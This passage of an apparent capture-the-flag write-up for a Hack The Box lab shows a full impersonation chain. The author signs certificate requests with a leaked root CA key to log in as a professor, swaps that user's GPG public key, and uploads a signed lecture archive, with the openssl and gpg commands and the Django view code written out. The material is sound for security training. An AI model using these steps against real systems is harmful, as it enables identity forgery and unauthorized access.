Certificate Forgery


Upon inspecting the web backend, I was able to pinpoint the RootCA keypair that was used to sign certificates. Additionally, 2 certificate request files were identified. Namely, 5.csr and 7.csr.
Now that I have gained access to the keypair of RootCA, I can forge a signed-certificate as anyone.

┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ openssl x509 -req -in "5.csr" -CA "CA/rootCA.crt" -CAkey "CA/rootCA.key" -CAcreateserial > 5.signed
Certificate request self-signature ok
subject=C=AU, ST=Some-State, O=Internet Widgits Pty Ltd, CN=martin.rose, emailAddress=martin.rose@hotmail.com
 
┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ openssl x509 -req -in "7.csr" -CA "CA/rootCA.crt" -CAkey "CA/rootCA.key" -CAcreateserial > 7.signed
Certificate request self-signature ok
subject=C=AU, ST=Some-State, O=Internet Widgits Pty Ltd, CN=Steven.U, emailAddress=steven@yahoo.com

Starting with the existing 5.csr and 7.csr Along with those signed certificates, authentication to the target web application is possible Instruction for signing was found in the certificate_utils.py file

Student User


Successfully authenticated as steven.u The steven.u user is a student. Not much of use in the current context.

Professor User


The martin.rose user, on the other hand, is a professor

professor users are able to manage/create courses

Create a New Course


I will first attempt to create an arbitrary course

A course has been created and assigned a number; 14

Add a New Lecture


I can then add a new lecture

Which leads to this page at /lecture/upload/14

The instruction outlines that uploading file must be;

  • a ZIP archive, lecture.zip
    • containing lecture files in .docx, .pptx, .pdf and .url format
  • a detached digital signature file, lecture.zip.sig
    • generated by gpg -u <USERNAME> --detach-sign <FILE_PATH>

┌──(kali㉿kali)-[~/…/htb/labs/university/Perfect-Lecture-Sample]
└─$ unzip Perfect-Lecture-Sample.zip 
Archive:  Perfect-Lecture-Sample.zip
  inflating: Lecture.docx            
  inflating: Lecture.pdf             
  inflating: Lecture.pptx            
 extracting: Reference-1.url         
  inflating: Reference-2.url         
  inflating: Reference-3.url         

The example file, Perfect-Lecture-Sample.zip, indeed shows lecture files in .docx, .pptx, .pdf and .url format

@login_required
@professor_required
@course_owner_required
@PubKeyring_required
def upload_lecture(request, course_id):
    if request.method == 'POST':
        form = LectureForm(request.POST, request.FILES)
        if form.is_valid() and course_id.isdigit():
            lecture = form.save(commit=False)
            lecture.course = get_object_or_404(Course, id=course_id)
            lecture.save()
            # get the professor to read his pubkey
            professor = Professor.objects.get(id=request.user.id)
            verification = form.verify_integrity(lecture.Digital_Sign.path, lecture.file.path, professor.public_key.path)
            if not verification.valid:
                lecture.delete()
                os.remove(lecture.Digital_Sign.path)
                os.remove(lecture.file.path)
                messages.error(request, '<ul class="errorlist"><li>Error: Invalid Lecture Integrity!. Please make sure that:</li><li>Your public key is a valid gpg-public-key.</li><li>The deteached signature file is created by the same user who owns the public key.</li></ul>')
            else:
                messages.success(request, 'The lecture is uploaded successfully, our team will review it and contact you soon...')
 
            return redirect(reverse('upload_lecture', kwargs={'course_id':course_id}))
        else:
            # display form with error messages
            errors = form.errors.as_data()
            for field, error_list in errors.items():
                for error in error_list:
                    messages.error(request, error.message)
    else:
        form = LectureForm()
 
    context = {'form': form, 'title': 'Upload a new Lecture', 'user': request.user}
    return render(request, 'upload_lecture.html', context)

For a detached signature file, it would be rather problematic as the web backend appears to conduct signature validation against those public PGP key block on the assets\uploads\Pub_KEYs directory, according to the views.py file. Given that I don’t have the original GPG private key of the martin.rose user, it would be impossible to get past the signature validation

Change Public Key


Thankfully, there is a feature to update the Public PGP key block

GPG Key Generation

┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ gpg --quick-generate-key "martin.rose <martin.rose@hotmail.com>" rsa2048 sign 0
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: revocation certificate stored as '/home/kali/.gnupg/openpgp-revocs.d/BA22E6BD71E505FFFF6532047556B3A09456F83E.rev'
public and secret key created and signed.
 
Note that this key cannot be used for encryption.  You may want to use
the command "--edit-key" to generate a subkey for this purpose.
pub   rsa2048 2024-10-30 [SC]
      BA22E6BD71E505FFFF6532047556B3A09456F83E
uid                      martin.rose <martin.rose@hotmail.com>

Generating a GPG keypair for the martin.rose user;

  • rsa2048: Sets the key type to RSA with a length of 2048 bits.
  • sign: Limits the key’s usage to signing (you can specify other purposes if needed).
  • 0: Sets the key to never expire (you can specify another expiration if desired).

Protection is not needed in this context

┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ gpg --export -a "martin.rose" > martin.rose_GPG-public-key.asc
 
┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ cat martin.rose_GPG-public-key.asc                                               
-----BEGIN PGP PUBLIC KEY BLOCK-----
 
mQENBGcit3sBCAC+AExYtQ2hR/84sSQPpz/acNl4dRFMBSqnkYz9K/wQpXfvh1h/
5jvz9HbdTONdggna+z3iw5C+VJ8/u7llaZ8Lkth6fVXO1hhrS7cTk46RdCpjc6Ux
T/hVoSRadCRRTG41UJPxWyjXnlwT8pybV3544nDSwQ+pQD88Pq1SDKNsSdeTyLQ6
Ep7WxOcYVsmuFH5CUulPK467WLcJ8IV8EqRtqjCzoYTeAYMKSQGzIKSqQ1LAbTC9
2qd2Z10BKS34DiK6vWHBaL7p8YD6EUPZO4gBrCaLQu6sDQ7KJ3Y8h5H0dTfPsaW6
0DtoOKnVQZpvGrJIVwYM4vAbuo9h/a2l23BtABEBAAG0JW1hcnRpbi5yb3NlIDxt
YXJ0aW4ucm9zZUBob3RtYWlsLmNvbT6JAU4EEwEKADgWIQS6Iua9ceUF//9lMgR1
VrOglFb4PgUCZyK3ewIbAwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRB1VrOg
lFb4PsKyB/0acc3pcYmldFpyej/gVe7u0UFzsYDknyL1Q0FnwHiPOeqioaqRMUKE
qj7H073pMtBT2jqXpsxnL/sv2sJwEM+beDfi6FkVMSID+ygotFk6uWZoByjyjp4K
zhICN1B32NlO5VYU4ZYBVxiOpGWTODfnZODvlb2C+85AGMpal/di7FfeEjhq+9i9
+pv6LqDJvJg0Crag6gYzCEaFHrV6J0NBvtQvRY6IcMCsaNDfEz1aNPIZIvruuXYW
6soslgu7FEkSm16AW5ef6CrkU4CzgzRUrRgIsyiu3GOxbLBNxIy8hHTqVzT2KkGA
DtTtI1qtP1LF8+qPwxjTiWuZyWlT02tN
=J4GX
-----END PGP PUBLIC KEY BLOCK-----

Exporting the GPG public key. It contains the PGP Public key block

Uploading Newly Generated Public Key

Successfully uploaded the newly generated GPG public key Now that I have “updated” the GPG public key of the martin.rose user, I can get past the signature validation and upload the lecture.zip file

Uploading lecture.zip and lecture.zip.sig


┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ gpg -u martin.rose --detach-sign ./lecture.zip

Using the newly generated GPG private key of the martin.rose user, I can sign the lecture.zip file.

┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ file lecture.zip.sig
lecture.zip.sig: data

Which generates the signature file; lecture.zip.sig

Upload successful. It says that the uploaded lecture archive will be reviewed by the team.